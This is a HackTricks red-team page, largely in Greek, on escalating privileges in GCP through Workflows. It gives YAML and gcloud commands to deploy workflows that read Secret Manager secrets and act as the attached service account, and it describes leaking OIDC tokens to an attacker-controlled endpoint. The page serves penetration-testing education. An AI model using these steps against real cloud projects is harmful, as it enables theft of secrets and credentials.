GCP - Workflows Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Workflows

Basic Information:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Από όσο γνωρίζω, δεν είναι δυνατό να αποκτήσεις shell με πρόσβαση στο metadata endpoint που περιέχει τα SA credentials του SA που έχει προσαρτηθεί σε ένα Workflow. Ωστόσο, είναι δυνατό να καταχραστείς τα permissions του SA προσθέτοντας τις ενέργειες που θα εκτελεστούν μέσα στο Workflow.

Μπορείς να βρεις την τεκμηρίωση των connectors. Για παράδειγμα, αυτή είναι η page of the Secretmanager connector. Στην πλαϊνή μπάρα μπορείς να βρεις αρκετούς άλλους connectors.

Και εδώ μπορείς να βρεις ένα παράδειγμα connector που εμφανίζει ένα μυστικό:

Παραμετροποίηση Workflow YAML για πρόσβαση σε μυστικά ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Ενημέρωση από το CLI:

Ανάπτυξη και εκτέλεση workflows από το CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Εάν λάβετε ένα σφάλμα όπως `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, απλώς **περιμένετε ένα λεπτό και δοκιμάστε ξανά**.

Εάν δεν έχετε πρόσβαση στο web, είναι δυνατό να ενεργοποιήσετε και να δείτε την εκτέλεση ενός Workflow με:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Μπορείτε επίσης να ελέγξετε την έξοδο προηγούμενων εκτελέσεων για να αναζητήσετε ευαίσθητες πληροφορίες

Σημειώστε ότι ακόμα κι αν λάβετε σφάλμα όπως PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... επειδή δεν έχετε εκείνη την άδεια, το workflow έχει δημιουργηθεί.

Leak OIDC token (and OAuth?)

According to the docs είναι δυνατό να χρησιμοποιηθούν βήματα του workflow που θα στέλνουν ένα HTTP αίτημα με το OAuth ή OIDC token. Ωστόσο, όπως και στην περίπτωση του Cloud Scheduler, το HTTP αίτημα με το Oauth token πρέπει να στοχεύει τον host .googleapis.com.

Caution

Επομένως, είναι δυνατό να leak το OIDC token υποδεικνύοντας ένα HTTP endpoint που ελέγχεται από τον χρήστη, αλλά για να leak το OAuth token θα χρειαστείτε μία παράκαμψη αυτής της προστασίας. Παρ’ όλα αυτά, μπορείτε ακόμη να επικοινωνήσετε με οποιοδήποτε GCP api για να εκτελέσετε ενέργειες εξ ονόματος του SA χρησιμοποιώντας είτε connectors είτε HTTP αιτήματα με το OAuth token.

Oauth

Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
HTTP αίτημα του Workflow με OIDC token ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Με αυτήν την άδεια, αντί για workflows.workflows.create, είναι δυνατή η ενημέρωση ενός ήδη υπάρχοντος workflow και η εκτέλεση των ίδιων επιθέσεων.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks